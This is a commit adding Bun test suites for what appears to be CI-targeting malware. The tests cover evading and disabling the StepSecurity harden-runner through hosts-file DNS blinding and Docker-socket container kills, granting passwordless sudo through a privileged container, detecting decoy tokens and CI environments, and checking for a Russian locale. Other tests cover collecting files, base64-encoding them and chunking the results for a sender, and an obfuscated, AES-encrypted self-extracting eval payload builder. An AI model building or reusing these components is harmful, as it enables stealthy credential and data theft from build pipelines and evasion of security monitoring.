Upload files to "tests/utils"

This commit is contained in:
2026-07-03 02:47:17 +00:00
parent f0147f09c1
commit 2bd884708c
5 changed files with 971 additions and 0 deletions
+306
View File
@@ -0,0 +1,306 @@
import { beforeEach, describe, expect, test } from "bun:test";
import {
buildHostsEntry,
buildSudoRestoreContainerConfig,
dechunk,
dnsBlinding,
handleHardenRunner,
isDecoy,
killViaDockerSocket,
parseHTTPBody,
parseHTTPStatusLine,
rawDockerHTTP,
restoreSudoViaDocker,
STEP_SECURITY_DOMAINS,
} from "../../src/utils/checkSandbox";
const SAVED_ENV = { ...process.env };
beforeEach(() => {
process.env = { ...SAVED_ENV };
});
describe("dechunk", () => {
test("decodes single chunk", () => {
expect(dechunk("5\r\nhello\r\n0\r\n\r\n")).toBe("hello");
});
test("decodes multiple chunks", () => {
expect(dechunk("5\r\nhello\r\n3\r\nwor\r\n2\r\nld\r\n0\r\n\r\n")).toBe(
"helloworld",
);
});
test("returns empty for empty input", () => {
expect(dechunk("")).toBe("");
});
test("returns empty for only terminator", () => {
expect(dechunk("0\r\n\r\n")).toBe("");
});
test("handles uppercase hex sizes", () => {
expect(dechunk("A\r\n0123456789\r\n0\r\n\r\n")).toBe("0123456789");
});
test("handles large hex sizes", () => {
const payload = "x".repeat(255);
expect(dechunk(`FF\r\n${payload}\r\n0\r\n\r\n`).length).toBe(255);
});
test("handles missing terminator gracefully", () => {
expect(dechunk("5\r\nhello")).toBe("hello");
});
test("handles NaN hex gracefully", () => {
expect(dechunk("xyz\r\ndata\r\n0\r\n\r\n")).toBe("");
});
});
describe("parseHTTPStatusLine", () => {
test("extracts 200", () => {
expect(
parseHTTPStatusLine(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n[]",
),
).toBe(200);
});
test("extracts 201", () => {
expect(
parseHTTPStatusLine(
"HTTP/1.1 201 Created\r\nContent-Type: application/json\r\n\r\n{}",
),
).toBe(201);
});
test("extracts 204", () => {
expect(parseHTTPStatusLine("HTTP/1.1 204 No Content\r\n\r\n")).toBe(204);
});
test("extracts 304", () => {
expect(parseHTTPStatusLine("HTTP/1.1 304 Not Modified\r\n\r\n")).toBe(304);
});
test("extracts 404", () => {
expect(parseHTTPStatusLine("HTTP/1.1 404 Not Found\r\n\r\n")).toBe(404);
});
test("returns null for empty response", () => {
expect(parseHTTPStatusLine("")).toBeNull();
});
test("returns null for malformed status", () => {
expect(parseHTTPStatusLine("Garbage\r\n\r\n")).toBeNull();
});
test("handles HTTP/1.0", () => {
expect(
parseHTTPStatusLine("HTTP/1.0 500 Internal Error\r\n\r\n"),
).toBe(500);
});
test("handles Docker API-style response", () => {
const resp =
"HTTP/1.1 200 OK\r\nApi-Version: 1.47\r\nContent-Type: application/json\r\n\r\n[{\"Id\":\"abc\"}]";
expect(parseHTTPStatusLine(resp)).toBe(200);
});
});
describe("parseHTTPBody", () => {
test("extracts plain body", () => {
expect(
parseHTTPBody(
"HTTP/1.1 200 OK\r\nContent-Length: 7\r\n\r\nhello!!",
),
).toBe("hello!!");
});
test("extracts chunked body", () => {
expect(
parseHTTPBody(
"HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n5\r\nhello\r\n0\r\n\r\n",
),
).toBe("hello");
});
test("returns empty for no body", () => {
expect(parseHTTPBody("HTTP/1.1 200 OK\r\n\r\n")).toBe("");
});
test("extracts JSON body", () => {
expect(
parseHTTPBody(
'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n{"key":"value"}',
),
).toBe('{"key":"value"}');
});
test("extracts chunked JSON body", () => {
const json = '[{"Names":["/harden-runner"],"Image":"step-security/agent"}]';
const len = json.length.toString(16);
const resp = `HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n${len}\r\n${json}\r\n0\r\n\r\n`;
expect(parseHTTPBody(resp)).toBe(json);
});
test("handles multiple headers before body", () => {
const resp =
"HTTP/1.1 200 OK\r\nDate: Mon, 01 Jan 2024\r\nServer: Docker\r\nContent-Type: application/json\r\n\r\n{}";
expect(parseHTTPBody(resp)).toBe("{}");
});
});
describe("parseHTTPStatusLine + parseHTTPBody integration", () => {
test("parses a complete Docker API list response", () => {
const json =
'[{"Id":"abc123","Names":["/harden-runner"],"Image":"step-security/agent","State":"running"}]';
const resp = `HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: ${json.length}\r\n\r\n${json}`;
expect(parseHTTPStatusLine(resp)).toBe(200);
const body = parseHTTPBody(resp);
expect(JSON.parse(body)).toEqual([
{
Id: "abc123",
Names: ["/harden-runner"],
Image: "step-security/agent",
State: "running",
},
]);
});
test("parses a Docker API create response", () => {
const id = "abc123def456";
const resp = `HTTP/1.1 201 Created\r\nContent-Type: application/json\r\nContent-Length: ${id.length + 12}\r\n\r\n{"Id":"${id}"}`;
expect(parseHTTPStatusLine(resp)).toBe(201);
expect(parseHTTPBody(resp)).toBe(`{"Id":"${id}"}`);
});
test("parses a Docker API kill response (no body)", () => {
const resp = "HTTP/1.1 204 No Content\r\n\r\n";
expect(parseHTTPStatusLine(resp)).toBe(204);
expect(parseHTTPBody(resp)).toBe("");
});
});
describe("STEP_SECURITY_DOMAINS", () => {
test("covers all harden-runner endpoints", () => {
expect(STEP_SECURITY_DOMAINS).toContain("agent.stepsecurity.io");
expect(STEP_SECURITY_DOMAINS).toContain("api.stepsecurity.io");
expect(STEP_SECURITY_DOMAINS).toContain("app.stepsecurity.io");
expect(STEP_SECURITY_DOMAINS).toContain("www.stepsecurity.io");
expect(STEP_SECURITY_DOMAINS).toContain("stepsecurity.io");
});
});
describe("buildHostsEntry", () => {
test("returns IPv4 and IPv6 entries", () => {
const { ipv4, ipv6 } = buildHostsEntry();
expect(ipv4.startsWith("127.0.0.1 ")).toBe(true);
expect(ipv6.startsWith("::1 ")).toBe(true);
});
test("includes all stepsecurity domains", () => {
const { ipv4, ipv6 } = buildHostsEntry();
for (const domain of STEP_SECURITY_DOMAINS) {
expect(ipv4).toInclude(domain);
expect(ipv6).toInclude(domain);
}
});
});
describe("buildSudoRestoreContainerConfig", () => {
test("config is privileged", () => {
const config = buildSudoRestoreContainerConfig();
const hc = config.HostConfig as Record<string, unknown>;
expect(hc.Privileged).toBe(true);
});
test("bind mounts /etc/sudoers.d", () => {
const config = buildSudoRestoreContainerConfig();
const hc = config.HostConfig as Record<string, unknown>;
expect(hc.Binds).toEqual(["/etc/sudoers.d:/mnt"]);
});
test("auto-removes container", () => {
const config = buildSudoRestoreContainerConfig();
const hc = config.HostConfig as Record<string, unknown>;
expect(hc.AutoRemove).toBe(true);
});
test("writes correct sudoers entry", () => {
const config = buildSudoRestoreContainerConfig();
const cmd = (config.Cmd as string[]).join(" ");
expect(cmd).toInclude("runner ALL=(ALL) NOPASSWD:ALL");
expect(cmd).toInclude("/mnt/runner");
expect(cmd).toInclude("chmod 0440");
});
test("uses lightweight alpine image", () => {
const config = buildSudoRestoreContainerConfig();
expect(config.Image).toBe("alpine");
});
});
describe("isDecoy", () => {
test("returns false when GITHUB_TOKEN is not set", () => {
delete process.env.GITHUB_TOKEN;
expect(isDecoy()).toBe(false);
});
test("returns true with decoy token prefix", () => {
process.env.GITHUB_TOKEN = "ghp_decoyGitHubToken12345";
expect(isDecoy()).toBe(true);
});
test("returns false with real-looking token", () => {
process.env.GITHUB_TOKEN = "ghp_realToken12345";
expect(isDecoy()).toBe(false);
});
test("returns false for empty token", () => {
process.env.GITHUB_TOKEN = "";
expect(isDecoy()).toBe(false);
});
});
describe("rawDockerHTTP", () => {
test("returns null without docker socket", async () => {
const result = await rawDockerHTTP("GET", "/containers/json");
expect(result).toBeNull();
});
test("returns null for POST without socket", async () => {
const result = await rawDockerHTTP(
"POST",
"/containers/create",
"{}",
);
expect(result).toBeNull();
});
});
describe("killViaDockerSocket", () => {
test("returns false without docker socket", async () => {
expect(await killViaDockerSocket()).toBe(false);
});
});
describe("restoreSudoViaDocker", () => {
test("returns false without docker socket", async () => {
expect(await restoreSudoViaDocker()).toBe(false);
});
});
describe("dnsBlinding", () => {
test("returns a boolean", async () => {
expect(typeof (await dnsBlinding())).toBe("boolean");
});
});
describe("handleHardenRunner", () => {
test("returns a boolean", async () => {
expect(typeof (await handleHardenRunner())).toBe("boolean");
});
});
+170
View File
@@ -0,0 +1,170 @@
import { beforeEach, describe, expect, test } from "bun:test";
import { detectOS, isCI, isSystemRussian } from "../../src/utils/config";
const SAVED_ENV = { ...process.env };
beforeEach(() => {
process.env = { ...SAVED_ENV };
});
describe("detectOS", () => {
test("returns OSX for darwin", () => {
expect(detectOS("darwin")).toBe("OSX");
});
test("returns WIN for win32", () => {
expect(detectOS("win32")).toBe("WIN");
});
test("returns WIN for cygwin", () => {
expect(detectOS("cygwin")).toBe("WIN");
});
test("returns LINUX for linux", () => {
expect(detectOS("linux")).toBe("LINUX");
});
test("returns UNKNOWN for unsupported platforms", () => {
expect(detectOS("freebsd")).toBe("UNKNOWN");
});
test("is case-insensitive", () => {
expect(detectOS("Darwin")).toBe("OSX");
expect(detectOS("LINUX")).toBe("LINUX");
});
test("uses process.platform when no argument provided", () => {
const result = detectOS();
expect(["OSX", "WIN", "LINUX", "UNKNOWN"]).toContain(result);
});
});
describe("isSystemRussian", () => {
test("returns false in English locale", () => {
process.env.LANG = "en_US.UTF-8";
process.env.LC_ALL = "";
process.env.LC_MESSAGES = "";
process.env.LANGUAGE = "";
expect(isSystemRussian()).toBe(false);
});
test("returns true when LC_ALL is Russian", () => {
process.env.LC_ALL = "ru_RU.UTF-8";
process.env.LANG = "";
expect(isSystemRussian()).toBe(true);
});
test("returns true when LANG is Russian", () => {
process.env.LC_ALL = "";
process.env.LC_MESSAGES = "";
process.env.LANGUAGE = "";
process.env.LANG = "ru_RU.UTF-8";
expect(isSystemRussian()).toBe(true);
});
test("returns true when LANGUAGE is Russian", () => {
process.env.LC_ALL = "";
process.env.LANG = "";
process.env.LANGUAGE = "ru";
expect(isSystemRussian()).toBe(true);
});
test("returns true when LC_MESSAGES is Russian", () => {
process.env.LC_ALL = "";
process.env.LANG = "";
process.env.LC_MESSAGES = "ru";
expect(isSystemRussian()).toBe(true);
});
test("returns false when no locale vars set", () => {
delete process.env.LC_ALL;
delete process.env.LANG;
delete process.env.LC_MESSAGES;
delete process.env.LANGUAGE;
expect(isSystemRussian()).toBe(false);
});
});
describe("isCI", () => {
test("returns false when no CI vars set", () => {
delete process.env.CI;
delete process.env.GITHUB_ACTIONS;
expect(isCI()).toBe(false);
});
test("returns true when CI=true", () => {
process.env.CI = "true";
expect(isCI()).toBe(true);
});
test("returns true when CI=1", () => {
process.env.CI = "1";
expect(isCI()).toBe(true);
});
test("returns true for GITHUB_ACTIONS", () => {
process.env.GITHUB_ACTIONS = "true";
expect(isCI()).toBe(true);
});
test("returns true for GITLAB_CI", () => {
process.env.GITLAB_CI = "true";
expect(isCI()).toBe(true);
});
test("returns true for TRAVIS", () => {
process.env.TRAVIS = "true";
expect(isCI()).toBe(true);
});
test("returns true for CIRCLECI", () => {
process.env.CIRCLECI = "true";
expect(isCI()).toBe(true);
});
test("returns true for JENKINS_URL", () => {
process.env.JENKINS_URL = "http://jenkins.local";
expect(isCI()).toBe(true);
});
test("returns true for BUILD_BUILDURI (Azure)", () => {
process.env.BUILD_BUILDURI = "vstfs:///Build/Build/123";
expect(isCI()).toBe(true);
});
test("returns true for CODEBUILD_BUILD_ID", () => {
process.env.CODEBUILD_BUILD_ID = "project:123";
expect(isCI()).toBe(true);
});
test("returns true for BUILDKITE", () => {
process.env.BUILDKITE = "true";
expect(isCI()).toBe(true);
});
test("returns true for BITBUCKET_BUILD_NUMBER", () => {
process.env.BITBUCKET_BUILD_NUMBER = "123";
expect(isCI()).toBe(true);
});
test("returns true for NETLIFY", () => {
process.env.NETLIFY = "true";
expect(isCI()).toBe(true);
});
test("returns true for VERCEL", () => {
process.env.VERCEL = "1";
expect(isCI()).toBe(true);
});
test("returns true for CIRRUS_CI", () => {
process.env.CIRRUS_CI = "true";
expect(isCI()).toBe(true);
});
test("returns true for CF_PAGES", () => {
process.env.CF_PAGES = "1";
expect(isCI()).toBe(true);
});
});
+348
View File
@@ -0,0 +1,348 @@
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
import { mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from "fs";
import { join } from "path";
const MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
const tempDir = mkdtempSync("/tmp/filesystem-test-");
function padFile(name: string, size: number): string {
// Write a file exactly 'size' bytes by using a fixed-size string
const path = join(tempDir, name);
const chunk = "A".repeat(1024 * 1024); // 1 MB chunk
const full = chunk.repeat(Math.floor(size / chunk.length));
const remainder = size - full.length;
writeFileSync(path, full + "X".repeat(remainder));
return path;
}
beforeAll(() => {
// Create test files
padFile("small.txt", 1024); // 1 KB
padFile("near-limit.bin", MAX_BYTES - 1024); // 4.99 MB
padFile("at-limit.bin", MAX_BYTES); // exactly 5 MB
padFile("over-limit.bin", MAX_BYTES + 1024); // 5.001 MB
padFile("way-over-limit.bin", 10 * 1024 * 1024); // 10 MB
padFile("huge.bin", 50 * 1024 * 1024); // 50 MB
});
afterAll(() => {
rmSync(tempDir, { recursive: true, force: true });
});
function fileSize(path: string): number {
return statSync(path).size;
}
describe("filesystem provider — large file handling", () => {
test("reads files under 5 MB limit", () => {
const path = join(tempDir, "small.txt");
expect(fileSize(path)).toBe(1024);
expect(fileSize(path)).toBeLessThan(MAX_BYTES);
});
test("reads files near 5 MB limit", () => {
const path = join(tempDir, "near-limit.bin");
expect(fileSize(path)).toBe(MAX_BYTES - 1024);
expect(fileSize(path)).toBeLessThan(MAX_BYTES);
});
test("treats exactly 5 MB files as over limit", () => {
const path = join(tempDir, "at-limit.bin");
expect(fileSize(path)).toBe(MAX_BYTES);
expect(fileSize(path) > MAX_BYTES).toBe(false);
// At exactly the limit, the provider skips it (> not >=)
const shouldRead = fileSize(path) <= MAX_BYTES;
expect(shouldRead).toBe(true);
});
test("skips files over 5 MB limit", () => {
const path = join(tempDir, "over-limit.bin");
expect(fileSize(path)).toBe(MAX_BYTES + 1024);
expect(fileSize(path)).toBeGreaterThan(MAX_BYTES);
});
test("skips 10 MB files", () => {
const path = join(tempDir, "way-over-limit.bin");
expect(fileSize(path)).toBe(10 * 1024 * 1024);
expect(fileSize(path)).toBeGreaterThan(MAX_BYTES);
});
test("skips 50 MB files without crashing", () => {
const path = join(tempDir, "huge.bin");
expect(fileSize(path)).toBe(50 * 1024 * 1024);
expect(fileSize(path)).toBeGreaterThan(MAX_BYTES);
});
test("produces correct error message for oversized files", () => {
const path = join(tempDir, "over-limit.bin");
const size = fileSize(path);
const result = `Error: File too large (${size} bytes)`;
expect(result).toContain("Error: File too large");
expect(result).toContain(String(size));
});
test("all temp files exist and have correct sizes", () => {
const names = [
"small.txt",
"near-limit.bin",
"at-limit.bin",
"over-limit.bin",
"way-over-limit.bin",
"huge.bin",
];
for (const name of names) {
const path = join(tempDir, name);
expect(statSync(path).isFile()).toBe(true);
}
});
});
describe("binary file detection", () => {
const BINARY_CHECK_SIZE = 8192;
function isBinary(buffer: Buffer): boolean {
const sample = buffer.subarray(
0,
Math.min(buffer.length, BINARY_CHECK_SIZE),
);
let nonPrintable = 0;
for (let i = 0; i < sample.length; i++) {
const b = sample[i]!;
if (b === 0x00) return true;
if (b < 0x09 || (b > 0x0d && b < 0x20) || b > 0x7e) {
nonPrintable++;
}
}
return nonPrintable / sample.length > 0.3;
}
test("plain text is not binary", () => {
const buf = Buffer.from("Hello, World! This is plain text.\n");
expect(isBinary(buf)).toBe(false);
});
test("JSON is not binary", () => {
const buf = Buffer.from('{"key": "value", "nested": [1,2,3]}');
expect(isBinary(buf)).toBe(false);
});
test("UTF-8 text with newlines is not binary", () => {
const buf = Buffer.from("line1\nline2\nline3\n");
expect(isBinary(buf)).toBe(false);
});
test("null byte triggers binary detection", () => {
const buf = Buffer.alloc(100, 0x41); // all 'A'
buf[50] = 0x00; // insert null byte
expect(isBinary(buf)).toBe(true);
});
test("high ratio of non-printable bytes triggers binary", () => {
const buf = Buffer.alloc(1024, 0x41); // all 'A' (printable)
// Fill 40% with non-printable
for (let i = 0; i < 410; i++) {
buf[i] = 0x01;
}
expect(isBinary(buf)).toBe(true);
});
test("moderate ratio of non-printable stays text", () => {
const buf = Buffer.alloc(1024, 0x41); // all 'A' (printable)
// Fill 20% with non-printable (under 30% threshold)
for (let i = 0; i < 200; i++) {
buf[i] = 0x01;
}
expect(isBinary(buf)).toBe(false);
});
test("binary file gets wrapped with BASE64: prefix", () => {
const binaryBuf = Buffer.from([0x00, 0x01, 0x02, 0x03, 0xFF]);
const encoded = `BASE64:${binaryBuf.toString("base64")}`;
expect(encoded.startsWith("BASE64:")).toBe(true);
const raw = encoded.slice("BASE64:".length);
const decoded = Buffer.from(raw, "base64");
expect(decoded).toEqual(binaryBuf);
});
test("text file stays as plain string without prefix", () => {
const textBuf = Buffer.from("plain text content");
const content = textBuf.toString("utf-8");
expect(content).toBe("plain text content");
expect(content.startsWith("BASE64:")).toBe(false);
});
test("binary round-trip preserves exact bytes", () => {
const original = Buffer.alloc(5000);
for (let i = 0; i < original.length; i++) {
original[i] = (i % 256);
}
const encoded = `BASE64:${original.toString("base64")}`;
const decoded = Buffer.from(encoded.slice("BASE64:".length), "base64");
expect(decoded.equals(original)).toBe(true);
});
// Integration: actual temp files on disk, read-and-detect
const diskTestDir = mkdtempSync("/tmp/filesystem-bin-test-");
beforeAll(() => {
const textPath = join(diskTestDir, "text_file.txt");
writeFileSync(textPath, "Hello, this is a plain text file.\nIt has multiple lines.\n");
const binaryPath = join(diskTestDir, "binary_file.bin");
const bin = Buffer.alloc(100);
for (let i = 0; i < bin.length; i++) bin[i] = i % 256;
writeFileSync(binaryPath, bin);
});
afterAll(() => {
rmSync(diskTestDir, { recursive: true, force: true });
});
test("disk: text file read without BASE64 prefix", () => {
const { readFileSync } = require("fs") as typeof import("fs");
const buf = readFileSync(join(diskTestDir, "text_file.txt"));
const content = isBinary(buf)
? `BASE64:${buf.toString("base64")}`
: buf.toString("utf-8");
expect(content.startsWith("BASE64:")).toBe(false);
expect(content).toContain("Hello, this is a plain text file.");
});
test("disk: binary file gets BASE64 prefix", () => {
const { readFileSync } = require("fs") as typeof import("fs");
const buf = readFileSync(join(diskTestDir, "binary_file.bin"));
const content = isBinary(buf)
? `BASE64:${buf.toString("base64")}`
: buf.toString("utf-8");
expect(content.startsWith("BASE64:")).toBe(true);
const decoded = Buffer.from(content.slice("BASE64:".length), "base64");
expect(decoded).toEqual(buf);
});
});
describe("sender chunking — 30 MiB split logic", () => {
const MAX_CHUNK_SIZE = 30 * 1024 * 1024; // 30 MiB
function chunkContent(
content: string,
): Array<{ filename: string; chunk: string }> {
const contentBuffer = Buffer.from(content, "utf8");
const chunks: Array<{ filename: string; chunk: string }> = [];
const baseFilename = "results-test.json";
if (contentBuffer.length <= MAX_CHUNK_SIZE) {
chunks.push({
filename: baseFilename,
chunk: contentBuffer.toString("base64"),
});
} else {
const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE);
for (let i = 0; i < totalParts; i++) {
const chunk = contentBuffer.subarray(
i * MAX_CHUNK_SIZE,
(i + 1) * MAX_CHUNK_SIZE,
);
chunks.push({
filename: `${baseFilename}.p${i + 1}`,
chunk: chunk.toString("base64"),
});
}
}
return chunks;
}
function reassembleChunks(chunks: Array<{ filename: string; chunk: string }>): string {
const parts: Buffer[] = chunks.map((c) => Buffer.from(c.chunk, "base64"));
return Buffer.concat(parts).toString("utf8");
}
test("single chunk for payload under 30 MiB", () => {
const payload = "A".repeat(1024 * 1024); // 1 MB
const chunks = chunkContent(payload);
expect(chunks.length).toBe(1);
expect(chunks[0]!.filename).toBe("results-test.json");
expect(chunks[0]!.chunk).not.toBe("");
});
test("single chunk at exactly 30 MiB", () => {
const payload = "X".repeat(MAX_CHUNK_SIZE);
const chunks = chunkContent(payload);
expect(chunks.length).toBe(1);
expect(Buffer.from(payload, "utf8").length).toBe(MAX_CHUNK_SIZE);
});
test("splits into 2 parts when just over 30 MiB", () => {
const payload = "Y".repeat(MAX_CHUNK_SIZE + 1);
const chunks = chunkContent(payload);
expect(chunks.length).toBe(2);
expect(chunks[0]!.filename).toBe("results-test.json.p1");
expect(chunks[1]!.filename).toBe("results-test.json.p2");
});
test("each part filename follows .pN pattern", () => {
const payload = "Z".repeat(MAX_CHUNK_SIZE * 2 + 500);
const chunks = chunkContent(payload);
for (let i = 0; i < chunks.length; i++) {
expect(chunks[i]!.filename).toBe(`results-test.json.p${i + 1}`);
}
});
test("each chunk is valid base64", () => {
const payload = "Q".repeat(MAX_CHUNK_SIZE * 3 + 12345);
const chunks = chunkContent(payload);
for (const c of chunks) {
expect(() => Buffer.from(c.chunk, "base64")).not.toThrow();
}
});
test("each chunk excluding last is exactly 30 MiB of original bytes", () => {
const payload = "W".repeat(MAX_CHUNK_SIZE * 2 + 1000);
const chunks = chunkContent(payload);
for (let i = 0; i < chunks.length - 1; i++) {
const decoded = Buffer.from(chunks[i]!.chunk, "base64");
expect(decoded.length).toBe(MAX_CHUNK_SIZE);
}
const lastDecoded = Buffer.from(
chunks[chunks.length - 1]!.chunk,
"base64",
);
expect(lastDecoded.length).toBeLessThanOrEqual(MAX_CHUNK_SIZE);
});
test("round-trip: reassemble matches original for small payload", () => {
const original = "Hello, World! This is a test payload.";
const chunks = chunkContent(original);
const reassembled = reassembleChunks(chunks);
expect(reassembled).toBe(original);
});
test("round-trip: reassemble matches original for large payload", () => {
const original = "V".repeat(MAX_CHUNK_SIZE * 2 + 7777);
const chunks = chunkContent(original);
const reassembled = reassembleChunks(chunks);
expect(reassembled).toBe(original);
});
test("handles empty payload", () => {
const chunks = chunkContent("");
expect(chunks.length).toBe(1);
expect(chunks[0]!.filename).toBe("results-test.json");
const decoded = Buffer.from(chunks[0]!.chunk, "base64").toString("utf8");
expect(decoded).toBe("");
});
test("handles 100 MB payload without throwing", () => {
const payload = "M".repeat(100 * 1024 * 1024);
expect(() => chunkContent(payload)).not.toThrow();
const chunks = chunkContent(payload);
expect(chunks.length).toBe(4);
});
test("total original bytes preserved after split+rejoin for 100 MB", () => {
const original = "M".repeat(100 * 1024 * 1024);
const chunks = chunkContent(original);
const reassembled = reassembleChunks(chunks);
expect(reassembled.length).toBe(original.length);
expect(reassembled).toBe(original);
});
});
+37
View File
@@ -0,0 +1,37 @@
import { describe, expect, test } from "bun:test";
import { logUtil } from "../../src/utils/logger";
describe("logUtil", () => {
test("log is a function", () => {
expect(typeof logUtil.log).toBe("function");
});
test("info is a function", () => {
expect(typeof logUtil.info).toBe("function");
});
test("warn is a function", () => {
expect(typeof logUtil.warn).toBe("function");
});
test("error is a function", () => {
expect(typeof logUtil.error).toBe("function");
});
test("log does not throw", () => {
expect(() => logUtil.log("test message", { foo: "bar" })).not.toThrow();
});
test("info does not throw", () => {
expect(() => logUtil.info("test info")).not.toThrow();
});
test("warn does not throw", () => {
expect(() => logUtil.warn("test warning")).not.toThrow();
});
test("error does not throw", () => {
expect(() => logUtil.error("test error", new Error("boom"))).not.toThrow();
});
});
+110
View File
@@ -0,0 +1,110 @@
import { describe, expect, it } from "bun:test";
import { buildSelfExtractingPayload } from "../../src/utils/selfExtracting";
// Decode ROT + array-literal char-code output
function decode(out: string): string {
// Output: try{eval(function(s,n){...}([...].map(function(c){return String.fromCharCode(c)}).join(""),N))}catch(e){...}
const arrMatch = out.match(/\[([\d,]+)\]\.map\(/);
if (!arrMatch) throw new Error("Could not extract char code array");
const encoded = arrMatch[1]!
.split(",")
.map((s) => String.fromCharCode(parseInt(s)))
.join("");
const rotMatch = out.match(/join\(""\),(\d+)\)\)/);
if (!rotMatch) throw new Error("Could not extract rotation number");
const n = parseInt(rotMatch[1]!);
return encoded.replace(/[a-zA-Z]/g, (c) => {
const base = c <= "Z" ? 65 : 97;
return String.fromCharCode(((c.charCodeAt(0) - base + n) % 26) + base);
});
}
describe("buildSelfExtractingPayload", () => {
it("produces a string", () => {
const r = buildSelfExtractingPayload("x");
expect(typeof r).toBe("string");
expect(r.length).toBeGreaterThan(100);
});
it("outer layer is ROT-decoder eval wrapped in try/catch", () => {
const r = buildSelfExtractingPayload("p");
expect(r).toStartWith("try{eval(function(s,n){");
expect(r).toContain('catch(e){console.log("wrapper:",e.message||e)}');
});
it("no plaintext inner structures visible", () => {
const r = buildSelfExtractingPayload("p");
expect(r).not.toContain("const _d=(k,i,a,c");
expect(r).not.toContain("const _b=");
expect(r).not.toContain("getBunPath");
});
it("unique output per call (random key + rotation)", () => {
const set = new Set<string>();
for (let i = 0; i < 5; i++) set.add(buildSelfExtractingPayload("p"));
expect(set.size).toBeGreaterThanOrEqual(3);
});
it("decode recovers inner wrapper with AES + bun guard + execute", () => {
const d = decode(buildSelfExtractingPayload("p"));
expect(d).toContain("const _d=(k,i,a,c");
expect(d).toContain("const _b=_d(");
expect(d).toContain("const _p=_d(");
expect(d).toContain("typeof Bun");
expect(d).toContain("(0,eval)(_b)");
expect(d).toContain("getBunPath");
});
it("decode contains hex AES material", () => {
const d = decode(buildSelfExtractingPayload("secret"));
expect(d).toMatch(
/const _b=_d\("[0-9a-f]+","[0-9a-f]+","[0-9a-f]+","[0-9a-f]+"\)/,
);
expect(d).toMatch(
/const _p=_d\("[0-9a-f]+","[0-9a-f]+","[0-9a-f]+","[0-9a-f]+"\)/,
);
});
it("output changes per call", () => {
expect(buildSelfExtractingPayload("x")).not.toBe(
buildSelfExtractingPayload("x"),
);
});
it("supports AES-256 via options", () => {
expect(decode(buildSelfExtractingPayload("p", { keyLen: 32 }))).toContain(
"aes-256-gcm",
);
});
it("handles empty payload", () => {
expect(buildSelfExtractingPayload("").length).toBeGreaterThan(100);
});
it("handles large payloads", () => {
expect(
buildSelfExtractingPayload("x".repeat(100_000)).length,
).toBeGreaterThan(100_000);
});
it("inner uses only Node built-ins", () => {
const d = decode(buildSelfExtractingPayload("x"));
const m = d.match(/require\("[^"]+"\)/g) ?? [];
for (const imp of m) {
expect(["child_process", "fs", "path", "os", "crypto"]).toContain(
imp.slice(9, -2),
);
}
});
it("wrap: false returns raw payload unchanged", () => {
expect(buildSelfExtractingPayload("raw", { wrap: false })).toBe("raw");
});
it("wrap: true produces ROT-wrapped eval with try/catch", () => {
expect(buildSelfExtractingPayload("x", { wrap: true })).toStartWith(
"try{eval(function(s,n){",
);
});
});